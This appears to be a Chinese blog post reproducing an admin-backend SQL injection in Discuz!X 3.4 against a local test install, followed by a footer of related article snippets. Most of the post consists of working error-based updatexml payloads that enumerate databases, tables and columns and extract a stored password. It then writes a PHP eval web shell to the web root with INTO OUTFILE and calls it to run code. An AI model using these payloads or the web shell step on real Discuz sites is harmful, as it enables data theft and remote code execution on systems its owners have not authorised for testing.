Discuz!X系列全版本后台sql注入复现
圈子某位大佬公布的0day,拿来刷一刷,漏洞分析请移步大佬文章。
大佬链接
0x01 环境准备
1、首先去码云下载最新版本的discuz(DiscuzX 3.4 R20191201)。

2、将upaod放置到网站目录下,访问安装目录安装即可。
0x02 漏洞复现
点击站长--UCenter设置
点击最下面的提交进行抓包

判断列数
1' order by 1 //返回正确
1' order by 2 //返回错误
查询当前用户
1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a
查询版本
1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a

查询数据库
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a //mysql
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a //information_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a //performance_schema
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),1)-- a //sys
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1)),1)-- a //test
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 5,1)),1)-- a //ultrax
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 6,1)),1)-- a //空


可以发现,共有6个库
查询数据表
这里随便找了一个库测试的,test库只有一个表。
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 0,1)),1)-- a //users
1' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='test' limit 1,1)),1)-- a //空
1' and updatexml(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='mysql')),1)-- a
查询字段
1' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users')),1)-- a

这个没显示全
1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1)),1)-- a //user
1' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 5,1)),1)-- a //password
爆字段值
1' and updatexml(1,concat(0x7e,(select password from test.users limit 1,1)),1)-- a
成功搞到密码test123

写入文件
Payload:
1' into outfile 'c:\\wamp64\\tmp\\1.txt' -- a

emmmm....
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
查看一下secure-file-priv配置
show variables like '%secure%';
secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢
- secure_file_priv为null 表示不允许导入导出
- secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
- secure_file_priv没有设置时,则表示没有任何限制
修改mysql.ini文件,加入如下语句
secure_file_priv=''
重启mysql服务
1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\phpstudy_pro\\WWW\\discuz\\1.php' -- a

http://192.168.91.149/discuz/1.php?1=phpinfo();

0x03 结束
吐槽一下,手注真麻烦,还是sqlmap好玩。
Discuz!X系列全版本后台sql注入复现的更多相关文章
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
- 后台SQL注入实例
简要描述: 汉庭连锁酒店后台SQL注入,可绕过登陆限制进入后台,可脱库. 详细说明: 问题发生在这个站点.http://miaosha.htinns.com/ 标题内没有写具体信息.因为怕发布后被人入 ...
- [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行
0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...
- DEDECMS 5.7之前版本远程SQL注入漏洞
2012/4/29 凌晨 知道创宇安全研究团队截获到最新DEDECMS SQL注入 0day,官网目前提供下载的最新版5.7也受影响,截止本告警发出时官方尚未给出补丁或解决方案,此漏洞利用简单且ded ...
- [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优
最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...
- PHP漏洞全解(五)-SQL注入攻击
本文主要介绍针对PHP网站的SQL注入攻击.所谓的SQL注入攻击,即一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返 ...
- ourphp 最新版(v1.7.3) 后台sql注入
version:<?php /******************************************************************************* * ...
- 74cms v3.3 后台SQL注入
注入存在于后台 admin_baiduxml.php 代码 52-63行 elseif($act == 'setsave') { $_POST['xmlmax']=intval($_POST['xml ...
- Java 后台sql注入
JdbcTemplate.update(sql, ArrayList.toArray()) Connection conn = null; PreparedStatement ps = null; c ...
随机推荐
- selenium连接浏览器方式
支持HtmlUnitDriver无头浏览器自动化 定位元素的方式:是可嵌套的 WebElement cheese = driver.findElement(By.id("cheese&q ...
- Python语言编程基础
Python 技能目标 理解编程基本原理和思想 掌握python语言的基础语法 能够使用python进行基本的开发工作 熟练使用项目开发IDE:eclipse,PyDev 能够使用Python开发简单 ...
- MyBatis功能点二:plugins插件使用
MyBatis自定义插件使用步骤(已有pojo及mapper的基础上) 一.自定义插件,实现Interceptor接口 二.核心配置文件sqlMapConfig.xml文件增加插件相关内容 测试 测试 ...
- IDEA使用JDBC链接MySql(java编程)
1.在Maven的pom.xml文件中引入MySql的驱动 <dependency> <groupId>mysql</groupId> <artifactId ...
- 通俗理解.NET 6 Minimal APIs
.NET 6,微软称为"最快的.NET",带有了许多令人兴奋的新功能.语言和性能改进.这是自 .NET Core 3.1 以来的第一个 LTS 版本,将支持三年. 本次大版本发布, ...
- 记一次payload绕过电脑管家免杀
一.msf命令提示符下generate命令生成1.首先可以使用show payloads命令查看所有的payload,然后使用use命令选中其中一个. 2.使用generate -h查看命令帮助 ge ...
- Excel真的是三维地图可视化制作最好的选择吗?
随着数据在当下互联网快速发展下变的维度更广,数量更大.结构越来越复杂,人们想要更加清晰,快速的认知和理解一份数据,传统的二维平面图表已经不能满足需求,三维可视化技术越结合多媒体技术.网络技术以及三维镜 ...
- TCP三次握手中SYN,ACK,seq ack的含义
转至:https://www.cnblogs.com/muyi23333/articles/13841268.html 1.TCP 为什么三次握手而不是两次握手 1.防止已失效的连接请求又传送到服务器 ...
- c# 去除TextBox的获取焦点事件
/// <summary> /// 去除TextBox的获取焦点事件 /// </summary> /// <param name="sender"& ...
- ConvertHelper
DataTable 转Json using Newtonsoft.Json; public static string DataTableToJson(DataTable dt) { varJsonS ...




